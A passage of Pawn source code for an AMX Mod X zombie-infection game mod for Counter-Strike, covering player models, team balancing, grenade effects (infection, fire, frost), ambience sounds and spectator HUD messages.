	AlreadyHasModel = false;

	fm_cs_get_user_model ( id, CurrentModel, charsmax ( CurrentModel ) );

	if ( IsSurvivor [id] )
	{
		size = ArraySize ( ModelSurvivor );

		for ( i = 0; i < size; i ++ )
		{
			ArrayGetString ( ModelSurvivor, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0, size - 1 );

			ArrayGetString ( ModelSurvivor, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}
	else if ( IsSniper [id] )
	{
		size = ArraySize ( ModelSniper );

		for ( i = 0; i < size; i ++ )
		{
			ArrayGetString ( ModelSniper, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0, size - 1 );

			ArrayGetString ( ModelSniper, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}
	else
	{
		if ( get_user_flags ( id ) & ADMIN_IMMUNITY )
		{
			for ( i = 0; i < ArraySize ( ModelOwnerHuman ); i ++ )
			{
				ArrayGetString ( ModelOwnerHuman, i, TempModel, charsmax ( TempModel ) )

				if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
			}

			if ( !AlreadyHasModel )
			{
				iRandom = random_num ( 0, size - 1 );

				ArrayGetString ( ModelOwnerHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
			}
		}
		else if (  get_user_flags ( id ) & ADMIN_RESERVATION )
		{
			for ( i = 0; i < ArraySize ( ModelAdminHuman ); i ++ )
			{
				ArrayGetString ( ModelAdminHuman, i, TempModel, charsmax ( TempModel ) )

				if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
			}

			if ( !AlreadyHasModel )
			{
				iRandom = random_num ( 0, size - 1 );

				ArrayGetString ( ModelAdminHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
			}
		}
		else
		{
			for ( i = 0; i < ArraySize ( ModelHuman ); i ++ )
			{
				ArrayGetString ( ModelHuman, i, TempModel, charsmax ( TempModel ) )

				if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
			}

			if ( !AlreadyHasModel )
			{
				iRandom = random_num ( 0, size - 1 );

				ArrayGetString ( ModelHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
			}
		}
	}

	if ( !AlreadyHasModel )
	{
		if ( NewRound )

			set_task ( 1.0, "fmUserModelUpdate", id + TASK_MODEL );
		else
			fmUserModelUpdate ( id + TASK_MODEL );
	}

	if ( !IsFrozen [id] )
	{
		if ( IsSurvivor [id] || IsSniper [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
		else
			fm_set_rendering ( id );
	}

	if ( IsBot [id] ) cs_set_user_nvg ( id, 0 );

	ExecuteForward ( fwUserHumanizedPost, fwDummyResult, id, Survivor );

	fnCheckLastZombie (  );
}

public CacheCvars (  )
{
	CachedHumanSpeed = get_pcvar_float ( GetCvar [zRisesHumanSpeed] );

	CachedNemesisSpeed = get_pcvar_float ( GetCvar [zRisesNemesisSpeed] );

	CachedAssassinSpeed = get_pcvar_float ( GetCvar [zRisesAssassinSpeed] );

	CachedSurvivorSpeed = get_pcvar_float ( GetCvar [zRisesSurvivorSpeed] );

	CachedSniperSpeed = get_pcvar_float ( GetCvar [zRisesSniperSpeed] );
}

public RegisterHamCzBots ( id )
{
	if ( HamCzBots || !IsConnected [id] ) return;

	RegisterHamFromEntity ( Ham_Spawn, id, "fwPlayerSpawnPost", 1 );
	RegisterHamFromEntity ( Ham_Killed, id, "fwPlayerKilled" );
	RegisterHamFromEntity ( Ham_Killed, id, "fwPlayerKilledPost", 1 );
	RegisterHamFromEntity ( Ham_TakeDamage, id, "fwTakeDamage" );
	RegisterHamFromEntity ( Ham_TakeDamage, id, "fwTakeDamagePost", 1 );
	RegisterHamFromEntity ( Ham_TraceAttack, id, "fwTraceAttack" );

	HamCzBots = true;

	if ( is_user_alive ( id ) ) fwPlayerSpawnPost ( id );
}

public BotBuyExtras ( TaskIndex )
{
	if ( !IsAlive [ID_SPAWN] || IsNemesis [ID_SPAWN] || IsAssassin [ID_SPAWN] || IsSurvivor [ID_SPAWN] || IsSniper [ID_SPAWN] ) return;

	if ( !IsZombie [ID_SPAWN] )
	{
		BuyExtraItem ( ID_SPAWN, EXTRA_NVISION );

		BuyExtraItem ( ID_SPAWN, random ( EXTRA_WEAPONS_STARTID -1  ) );
	}
	else
	{
		BuyExtraItem ( ID_SPAWN, EXTRA_ANTIDOTE );
	}
}

public RefillBpAmmo ( const Args [], id )
{
	if ( !IsAlive [id] || IsZombie [id] ) return;

	set_msg_block ( get_user_msgid ( "AmmoPickup" ), BLOCK_ONCE );

	ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [Args[0]], AMMOTYPE [Args[0]], MAXBPAMMO [Args[0]] );
}

BalanceTeams (  )
{
	static iPlayersNum;

	iPlayersNum = fnGetPlaying (  );

	if ( iPlayersNum < 1 ) return;

	static iTerrors, iMaxTerrors, id, Team [33];

	iMaxTerrors = iPlayersNum / 2;

	iTerrors = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( !IsConnected [id] ) continue;

		Team [id] = fm_cs_get_user_team ( id );

		if ( Team [id] == FM_CS_TEAM_SPECTATOR || Team [id] == FM_CS_TEAM_UNASSIGNED ) continue;

		remove_task ( id + TASK_TEAM );

		fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

		Team [id] = FM_CS_TEAM_CT;
	}

	while ( iTerrors < iMaxTerrors )
	{
		if ( ++ id > MaxPlayers ) id = 1;

		if ( !IsConnected [id] ) continue;

		if ( Team [id] != FM_CS_TEAM_CT ) continue;

		if ( random_num ( 0, 1 ) )
		{
			fm_cs_set_user_team ( id, FM_CS_TEAM_T );

			Team [id] = FM_CS_TEAM_T;

			iTerrors ++;
		}
	}
}

public SendWelcomeMessage (  )
{
	client_print_color ( 0, print_team_grey, "^1****^4 Zombie Outstanding^1 by^3 SideWinder^1 ||^4 ZmOldSchool.ZapTop.Ro^1 ****");

	client_print_color ( 0, print_team_default, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");

	set_hudmessage ( 20, 155, 255, -1.0, 0.17, 1, 0.0, 3.0, 2.0, 1.0, -1 );

	ShowSyncHudMsg ( 0, HudMsgSync [0], "The T-Virus has been set loose..." );
}

CheckRound ( leaving_player )
{
	if ( EndRound || task_exists ( TASK_MAKEZOMBIE ) ) return;

	static iPlayersNum, id; iPlayersNum = fnGetAlive (  );

	if ( iPlayersNum < 2 ) return;

	if ( IsZombie [leaving_player] && fnGetZombies (  ) == 1 )
	{
		if ( fnGetHumans (  ) == 1 && fnGetCTs (  ) == 1 ) return;

		while ( ( id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) ) ) == leaving_player ) {  }

		client_print_color ( 0, print_team_default, "%s Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie.", CHAT_PREFIX, PlayerName [leaving_player], PlayerName [id] )

		LastPlayerLeaving = true;

		if ( IsNemesis [leaving_player] )
		{
			UserZombie ( id, 0, 1, 0, 0, 0 );

			if ( ModeNemesis ) zRoundStarted ( MODE_NEMESIS, id );
		}

		else if ( IsAssassin [leaving_player] )
		{
			UserZombie ( id, 0, 0, 1, 0, 0 );

			if ( ModeAssassin ) zRoundStarted ( MODE_ASSASSIN, id );
		}
		else
		         UserZombie ( id, 0, 0, 0, 0, 0 );

		LastPlayerLeaving = false;

		if ( IsNemesis [leaving_player] )

		         fm_set_user_health ( id, pev ( leaving_player, pev_health ) );

		if ( IsAssassin [leaving_player] )

			fm_set_user_health ( id, pev ( leaving_player, pev_health ) );
	}
	else if ( !IsZombie [leaving_player] && fnGetHumans (  ) == 1 )
	{
		if ( fnGetZombies (  ) == 1 && fnGetTs (  ) == 1 ) return;

		while ( ( id = fnGetRandomAlive ( random_num ( 1, iPlayersNum ) ) ) == leaving_player ) {  }

		client_print_color ( 0, print_team_default, "%s Last human,^3 %s^1 disconnected,^4 %s^1 is the last human.", CHAT_PREFIX, PlayerName [leaving_player], PlayerName [id] )

		LastPlayerLeaving = true;

		if ( IsSurvivor [leaving_player] )
		{
			UserHuman ( id, 1, 0, 0 );

			if ( ModeSurvivor ) zRoundStarted ( MODE_SURVIVOR, id );
		}
		else if ( IsSniper [leaving_player] )
		{
		         UserHuman ( id, 0, 1, 0 );

			if ( ModeSniper ) zRoundStarted ( MODE_SNIPER, id );
		}
		else
			UserHuman ( id, 0, 0, 0 );

		LastPlayerLeaving = false;

		if ( IsSurvivor [leaving_player] )

			fm_set_user_health ( id, pev ( leaving_player, pev_health ) );

		if ( IsSniper [leaving_player] )

			fm_set_user_health ( id, pev ( leaving_player, pev_health ) );
	}
}

public AmbienceSoundEffects ( TaskIndex )
{
	static Sound [64], iRandom, Duration;

	if ( NemesisRound )
	{
		iRandom = random_num ( 0, ArraySize ( SoundAmbience_02 ) - 1 )

		ArrayGetString ( SoundAmbience_02, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136;
	}
	else if ( AssassinRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_03 ) - 1 )

		ArrayGetString ( SoundAmbience_03, iRandom, Sound, charsmax ( Sound ) );

		Duration = 106
	}
	else if ( SurvivorRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_04 ) - 1 )

		ArrayGetString ( SoundAmbience_04, iRandom, Sound, charsmax ( Sound ) );

		Duration = 106
	}
	else if ( SniperRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_05 ) - 1 )

		ArrayGetString ( SoundAmbience_05, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else if ( SwarmRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_06 ) - 1 )

		ArrayGetString ( SoundAmbience_06, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else if ( PlagueRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_07 ) - 1 )

		ArrayGetString ( SoundAmbience_07, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else if ( ArmageddonRound )
	{
		iRandom = random_num ( 0, ArraySize ( SoundAmbience_08 ) - 1 )

		ArrayGetString ( SoundAmbience_08, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else if ( ApocalypseRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_09 ) - 1 )

		ArrayGetString ( SoundAmbience_09, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else if ( NightmareRound )
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_10 ) - 1 )

		ArrayGetString ( SoundAmbience_10, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}
	else
	{
		iRandom = random_num ( 0, ArraySize( SoundAmbience_01 ) - 1 )

		ArrayGetString ( SoundAmbience_01, iRandom, Sound, charsmax ( Sound ) );

		Duration = 136
	}

	EmitSound ( 0, CHAN_AUTO, Sound );

	set_task ( float ( Duration ), "AmbienceSoundEffects", TASK_AMBIENCESOUNDS );
}

AmbienceSoundStop (  ) client_cmd ( 0, "stopsound" );

InfectionExplode ( Entity )
{
	if ( EndRound ) return;

	static Float: Origin [3];

	pev ( Entity, pev_origin, Origin );

	CreateBlastInfection ( Origin );

	static Sound [64];

	ArrayGetString ( GrenadeInfect, random_num ( 0, ArraySize ( GrenadeInfect ) - 1 ), Sound, charsmax ( Sound ) )

	EmitSound ( Entity, CHAN_AUTO, Sound );

	static Attacker;

	Attacker = pev ( Entity, pev_owner );

	static Victim;

	Victim = -1

	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || IsZombie [Victim] || NoDamage [Victim] ) continue;

		if ( fnGetHumans (  ) == 1 )
		{
			ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );

			continue;
		}

		ArrayGetString ( GrenadeInfectPlayer, random_num ( 0, ArraySize ( GrenadeInfectPlayer ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( Victim, CHAN_AUTO, Sound );

		UserZombie ( Victim, Attacker, 0, 1, 1, 0 );
	}

	engfunc ( EngFunc_RemoveEntity, Entity );
}

public HeExplode ( Entity )
{
	static Float: Origin [3];

	pev ( Entity, pev_origin, Origin );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 3 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	write_short ( HExplode );
	write_byte ( 30 );
	write_byte ( 15 );
	write_byte ( 0 );
	message_end (  );

	static Attacker;

	Attacker = pev ( Entity, pev_owner );

	for ( new Victim = 1; Victim < MaxPlayers + 1; Victim ++ )
	{
		if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;

		if ( IsZombie [Victim] )
		{
			static Float: fDistance, Float: fDamage;

			fDistance = entity_range ( Victim, Entity );

			if ( fDistance < 300.0 )
			{
				fDamage = 667.0 - fDistance;

				ScreenFadeEffect ( Victim, 1.0, 250, 0, 0, fDistance < 220 ? 220 : 205 );

				ScreenShakeEffect ( Victim, 1.0 );

				EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" );

				if ( float ( get_user_health ( Victim ) ) - fDamage > 0.0 )

					ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
				else
					ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );

				if ( !IsNemesis [Victim] && !IsAssassin [Victim] ) fDamage *= 0.75;

				if ( fDamage >= get_pcvar_num ( GetCvar [zRisesAmmoDamage] ) )

					AmmoPacks [Attacker] += 2;
				else
					AmmoPacks [Attacker] += 1;

				client_print_color ( Attacker, print_team_grey, "%s Damage to^4 %s^1 ::^4 %0.0f^1 damage", CHAT_PREFIX, PlayerName [Victim], fDamage );
			}
		}
	}

	engfunc ( EngFunc_RemoveEntity, Entity );
}


FireExplode ( Entity )
{
	static Float: Origin [3];

	pev ( Entity, pev_origin, Origin );

	CreateBlastFire ( Origin );

	static Sound [64];

	ArrayGetString ( GrenadeFire, random_num ( 0, ArraySize ( GrenadeFire ) - 1 ), Sound, charsmax ( Sound ) )

	EmitSound ( Entity, CHAN_WEAPON, Sound );

	static  Victim;

	Victim = -1;

	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !IsZombie [Victim] || NoDamage [Victim] ) continue;

		if ( IsNemesis [Victim] || IsAssassin [Victim] )

			BurningDuration [Victim] += 4;
		else
			BurningDuration [Victim] += 4 * 5;

		if ( !task_exists ( Victim + TASK_BURN ) ) set_task ( 0.2, "BurningFlame", Victim + TASK_BURN, _, _, "b" );
	}

	engfunc ( EngFunc_RemoveEntity, Entity );
}

FrostExplode ( Entity )
{
	static Float: Origin [3];

	pev ( Entity, pev_origin, Origin )

	CreateBlastFrost ( Origin )

	static Sound [64];

	ArrayGetString ( GrenadeFrost, random_num ( 0, ArraySize ( GrenadeFrost ) - 1 ), Sound, charsmax ( Sound ) )

	EmitSound ( Entity, CHAN_WEAPON, Sound );

	static  Victim;

	Victim = -1;


	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !IsZombie [Victim] || IsFrozen [Victim] || NoDamage [Victim] ) continue;

		if ( IsNemesis [Victim] || IsAssassin [Victim] )
		{
			static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );

			ArrayGetString ( GrenadeFrostBreak, random_num ( 0, ArraySize ( GrenadeFrostBreak ) - 1 ), Sound, charsmax ( Sound ) )

			EmitSound ( Victim, CHAN_AUTO, Sound );

			message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin_2 );
			write_byte ( TE_BREAKMODEL );
			write_coord ( Origin_2 [0] );
			write_coord ( Origin_2 [1] );
			write_coord ( Origin_2 [2] + 24 );
			write_coord ( 16 );
			write_coord ( 16 );
			write_coord ( 16 );
			write_coord ( random_num (-50, 50) );
			write_coord ( random_num (-50, 50) );
			write_coord ( 25 );
			write_byte ( 10 );
			write_short ( GlassSpr );
			write_byte ( 10 );
			write_byte ( 25 );
			write_byte ( 0x01 );
			message_end (  );

			continue;
		}

		fm_set_rendering ( Victim, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25 );

		ArrayGetString ( GrenadeFrostPlayer, random_num ( 0, ArraySize ( GrenadeFrostPlayer ) - 1 ), Sound, charsmax ( Sound ) );

		EmitSound ( Victim, CHAN_AUTO, Sound );

		message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
		write_short ( 0 );
		write_short ( 0 );
		write_short ( 0x0004 );
		write_byte ( 0 );
		write_byte ( 100 );
		write_byte ( 200 );
		write_byte ( 100 );
		message_end (  );

		if ( pev ( Victim, pev_flags ) & FL_ONGROUND )

			set_pev ( Victim, pev_gravity, 999999.9 );
		else
			set_pev ( Victim, pev_gravity, 0.000001 );

		IsFrozen [Victim] = true;

		set_task ( 3.0, "RemoveFreeze", Victim );
	}

	engfunc ( EngFunc_RemoveEntity, Entity );
}

public RemoveFreeze ( id )
{
	if ( !IsAlive [id] || !IsFrozen [id] ) return;

	IsFrozen [id] = false;

	if ( IsZombie [id] )
	{
		if ( IsNemesis [id] )

		set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesNemesisGravity] ) );

		else if ( IsAssassin [id] )

		set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesAssassinGravity] ) );

		else

		set_pev ( id, pev_gravity, Float:ArrayGetCell ( ZClassGravity_01, ZombieClass [id] ) );
	}
	else
	{
		if ( IsSurvivor [id] )

			set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesSurvivorGravity] ) );

		else if ( IsSniper [id] )

			set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesSniperGravity] ) );
		else
			set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesHumanGravity] ) );
	}

	if ( IsZombie [id] )
	{
		if ( IsNemesis [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25 );

		else if ( IsAssassin [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
		else
			fm_set_rendering ( id );
	}
	else
	{
		if ( IsSurvivor [id] || IsSniper [id] )

			fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
		else
			fm_set_rendering ( id );
	}

	message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, id );
	write_short ( 1<<12 );
	write_short ( 0 );
	write_short ( 0x0000 );
	write_byte ( 0 );
	write_byte ( 50 );
	write_byte ( 200 );
	write_byte ( 100 );
	message_end (  );


	static Sound [64];

	ArrayGetString ( GrenadeFrostBreak, random_num ( 0, ArraySize ( GrenadeFrostBreak ) - 1 ), Sound, charsmax ( Sound ) );

	EmitSound ( id, CHAN_AUTO, Sound );

	static Origin [3]; get_user_origin ( id, Origin )

	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_BREAKMODEL );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2]+24 );
	write_coord ( 16 );
	write_coord ( 16 );
	write_coord ( 16 );
	write_coord ( random_num (-50, 50) );
	write_coord ( random_num (-50, 50) );
	write_coord ( 25 );
	write_byte ( 10 );
	write_short ( GlassSpr );
	write_byte ( 10 );
	write_byte ( 25 );
	write_byte ( 0x01 );
	message_end (  );

	ExecuteForward ( fwUserUnfrozen, fwDummyResult, id );
}

public RemoveStuff (  )
{
	static Ent

	Ent = -1;

	while ( ( Ent = engfunc ( EngFunc_FindEntityByString, Ent, "classname", "func_door_rotating" ) ) != 0 )

		engfunc ( EngFunc_SetOrigin, Ent, Float: {8192.0 ,8192.0 ,8192.0} );
}

ReplaceWeaponModels ( id, weaponid )
{
	switch ( weaponid )
	{
		case CSW_KNIFE:
		{
			if ( IsZombie [id] )
			{
				if ( IsNemesis [id] )
				{
					set_pev ( id, pev_viewmodel2, GetModelKnifeNemesis );

					set_pev ( id, pev_weaponmodel2, "" );
				}
				else if ( IsAssassin [id] )
				{
					set_pev ( id, pev_viewmodel2, GetModelKnifeAssassin );

					set_pev ( id, pev_weaponmodel2, "" );
				}
				else
				{
					static ClawModel [100];

					ArrayGetString ( ZClassClawModel_01, ZombieClass [id], ClawModel, charsmax ( ClawModel ) );

					format ( ClawModel, charsmax ( ClawModel ), "models/ZombieOutstanding/%s", ClawModel );

					set_pev ( id, pev_viewmodel2, ClawModel );

					set_pev ( id, pev_weaponmodel2, "" );
				}
			}
			else
			{
					set_pev ( id, pev_viewmodel2, GetModelKnifeHuman );

					set_pev ( id, pev_weaponmodel2, "models/p_knife.mdl" );
			}
		}
		case CSW_AWP:
		{
			if ( IsSniper [id] )
			{
				set_pev ( id, pev_viewmodel2, vGetModelAwpSniper );

				set_pev ( id, pev_weaponmodel2, pGetModelAwpSniper );
			}
		}
		case CSW_HEGRENADE:
		{
			if ( IsZombie [id] )

			set_pev ( id, pev_viewmodel2, GetModelGrenadeInfect );
			else
			set_pev ( id, pev_viewmodel2, GetModelGrenadeExplode );
		}
		case CSW_FLASHBANG:
		{
			set_pev ( id, pev_viewmodel2, GetModelGrenadeFire );
		}
		case CSW_SMOKEGRENADE:
		{
			set_pev ( id, pev_viewmodel2, GetModelGrenadeFrost );
		}
		case CSW_AK47:
		{
			if (zp_get_gold_ak [id] )
			{
				set_pev ( id, pev_viewmodel2, Goldenak47_v );

				set_pev ( id, pev_weaponmodel2, Goldenak47_p );
			}
		}
		case CSW_DEAGLE:
		{
			if (zp_get_gold_de [id] )
			{
				set_pev ( id, pev_viewmodel2, Goldev );

				set_pev ( id, pev_weaponmodel2, Goldep );
			}
		}
	}
}

ResetVars ( id, resetall )
{
	IsZombie [id] = false;

	IsNemesis [id] = false;

	IsAssassin [id] = false;

	IsSurvivor [id] = false;

	IsSniper [id] = false;

	FirstZombie [id] = false;

	LastZombie [id] = false;

	LastHuman [id] = false;

	IsFrozen [id] = false;

	NoDamage [id] = false;

	NVision [id] = false;

	NVisionEnabled [id] = false;

	CanBuy [id] = true;

	BurningDuration [id] = 0;

	if ( resetall )
	{
		AmmoPacks [id] = get_pcvar_num ( GetCvar [zRisesStartPacks] );

		ZombieClass [id] = ZCLASS_NONE;

		ZombieClassNext [id] = ZCLASS_NONE;

		DamageDealt [id] = 0;
	}
}

public SpecNVision ( id )
{
	if ( !IsConnected [id] || IsAlive [id] || IsBot [id] ) return;

	NVision [id] = true;

	NVisionEnabled [id] = true;

	remove_task ( id + TASK_NVISION );

	set_task ( 0.1, "UserNVision", id + TASK_NVISION, _, _, "b" );
}

public SpectatorHudMessage ( TaskIndex )
{
	static id; id = ID_SHOWHUD;

	if ( !IsAlive [id] )
	{
		id = pev ( id, pev_iuser2 );

		if ( !IsAlive [id] ) return;
	}

	static Class [32], Red, Green, Blue;

	TaskReward [ID_SHOWHUD] --;

	if ( TaskReward [ID_SHOWHUD] == 0 )
	{
		TaskReward [ID_SHOWHUD] = 600;

		client_print_color ( ID_SHOWHUD, print_team_grey, "%s You got^4 +4^1 packs^1 for your^3 10 minutes", CHAT_PREFIX );

		AmmoPacks [ID_SHOWHUD] += 4;
	}

	if ( IsZombie [id] )
	{
		Red = 153;

		Green = 76;

		Blue = 0;

		if ( IsNemesis [id] )

		formatex ( Class, charsmax ( Class ), "Nemesis" );

		else if ( IsAssassin [id] )

		formatex ( Class, charsmax ( Class ), "Assassin" );
		else

		copy ( Class, charsmax ( Class ), ZombieClassName [id] );
	}
	else
	{
		Red = 0;

		Green = 175;

		Blue = 255;

		if ( IsSurvivor [id] )

		formatex ( Class, charsmax ( Class ), "Survivor" );

		else if ( IsSniper [id] )

		formatex ( Class, charsmax ( Class ), "Sniper" );

		else

		formatex ( Class, charsmax ( Class ), "Human" );
	}

	if ( id != ID_SHOWHUD )
	{

		static HealthString [16], PacksString [16], points[32], UserIp [16], Country [44], City[44];

		AddCommas ( pev ( id, pev_health ), HealthString, charsmax ( HealthString ) );

		AddCommas ( AmmoPacks [id], PacksString, charsmax ( PacksString ) );

		AddCommas (g_iPoints[id], points, 31 );

		get_user_ip ( id, UserIp, charsmax ( UserIp ) );

		geoip_country_ex ( UserIp, Country, charsmax ( City ) );

		geoip_city ( UserIp, City, charsmax ( City ) );

		set_hudmessage ( 10, 180, 150, -1.0, 0.80, 0, 6.0, 1.1, 0.0, 0.0, -1 );

 	 	ShowSyncHudMsg ( ID_SHOWHUD, HudMsgSync [1], "Spectating %s%s^n%s, Health: %s Armor: %d Packs: %s Points: %s^nFrom: %s, %s", g_vip[id] ? "(Gold Member ®) " : "", PlayerName [id], Class, HealthString, pev ( id, pev_armorvalue ), PacksString, points, Country, City )
	}
	else
	{


		static HealthString [16], PacksString [16], points[32];

		AddCommas ( pev ( ID_SHOWHUD, pev_health ), HealthString, charsmax ( HealthString ) );

		AddCommas ( AmmoPacks [ID_SHOWHUD], PacksString, charsmax ( PacksString ) );

		AddCommas ( g_iPoints[id], points, 31 );

		set_hudmessage ( Red, Green, Blue, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1 );

		if ( !IsZombie [id] )

		ShowSyncHudMsg ( ID_SHOWHUD, HudMsgSync [1], "%s, Health: %s  Armor: %d Packs: %s  Points: %s", Class, HealthString, pev ( ID_SHOWHUD, pev_armorvalue ), PacksString, points );

		else

		ShowSyncHudMsg ( ID_SHOWHUD, HudMsgSync [1], "%s, Health: %s  Armor: %d Packs: %s  Points: %s", Class, HealthString, pev ( ID_SHOWHUD, pev_armorvalue ), PacksString, points );

	}
}

public MadnessOver ( TaskIndex )
{
	NoDamage [ID_BLOOD] = false;

	fm_set_rendering ( ID_BLOOD );
}


stock LoadSpawns (  )
{
	CollectSpawnsEnt ( "info_player_start" );
	CollectSpawnsEnt ( "info_player_deathmatch" );
}

stock CollectSpawnsEnt ( const ClassName [ ] )
{
	new Ent = -1;

	while ( ( Ent = engfunc ( EngFunc_FindEntityByString, Ent, "classname", ClassName ) ) != 0 )
	{
		new Float:originF [3]; pev ( Ent, pev_origin, originF );

		Spawns [SpawnCount] [0] = originF [0];
		Spawns [SpawnCount] [1] = originF [1];
		Spawns [SpawnCount] [2] = originF [2];

		SpawnCount ++;

		if ( SpawnCount >= sizeof Spawns ) break;
	}
}

fnGetZombies (  )
{
	static iZombies, id;

	iZombies = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsAlive [id] && IsZombie [id] )

			iZombies ++;
	}

	return iZombies;
}

fnGetHumans (  )
{
	static iHumans, id;

	iHumans = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsAlive [id] && !IsZombie [id] )

			iHumans ++;
	}

	return iHumans;
}

fnGetAlive (  )
{
	static iAlive, id;

	iAlive = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsAlive [id] )

			iAlive ++;
	}

	return iAlive;
}

fnGetRandomAlive ( n )
{
	static iAlive, id;

	iAlive = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsAlive [id] )

			iAlive ++;

		if ( iAlive == n )

			return id;
	}

	return -1;
}

fnGetPlaying (  )
{
	static iPlaying, id, Team

	iPlaying = 0

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsConnected [id] )
		{
			Team = fm_cs_get_user_team ( id );

			if ( Team != FM_CS_TEAM_SPECTATOR && Team != FM_CS_TEAM_UNASSIGNED )

				iPlaying ++;
		}
	}
	return iPlaying;
}

fnGetCTs (  )
{
	static iCTs, id;

	iCTs = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsConnected [id] )
		{
			if ( fm_cs_get_user_team ( id ) == FM_CS_TEAM_CT )

				iCTs ++;
		}
	}
	return iCTs;
}

fnGetTs (  )
{
	static iTs, id;

	iTs = 0;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsConnected [id] )
		{
			if ( fm_cs_get_user_team ( id ) == FM_CS_TEAM_T )

				iTs ++;
		}
	}
	return iTs;
}

fnCheckLastZombie (  )
{
	static id;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( IsAlive [id] && IsZombie [id] && !IsNemesis [id] && !IsAssassin [id] && fnGetZombies (  ) == 1 )
		{
			if ( !LastZombie [id] )
			{
				ExecuteForward ( fwUserLastZombie, fwDummyResult, id );
			}

			LastZombie [id] = true;
		}
		else
			LastZombie [id] = false;

		if ( IsAlive [id] && !IsZombie [id] && !IsSurvivor [id] && !IsSniper [id] && fnGetHumans (  ) == 1 )
		{
			if ( !LastHuman [id] )
			{
				ExecuteForward ( fwUserLastHuman, fwDummyResult, id );
			}

			LastHuman [id] = true;
		}
		else
			LastHuman [id] = false;
	}
}

SaveStats ( id )
{
	if ( DBName [id] [0] && !equal ( PlayerName [id], DBName [id] ) )
	{
		if ( DBSlot >= sizeof DBName ) DBSlot = MaxPlayers + 1;

		copy ( DBName [DBSlot], charsmax ( DBName [ ] ), DBName [id] );

		DBPacks [DBSlot] = DBPacks [id];

		DBZombieClass [DBSlot] = DBZombieClass [id];

		DBSlot ++;
	}

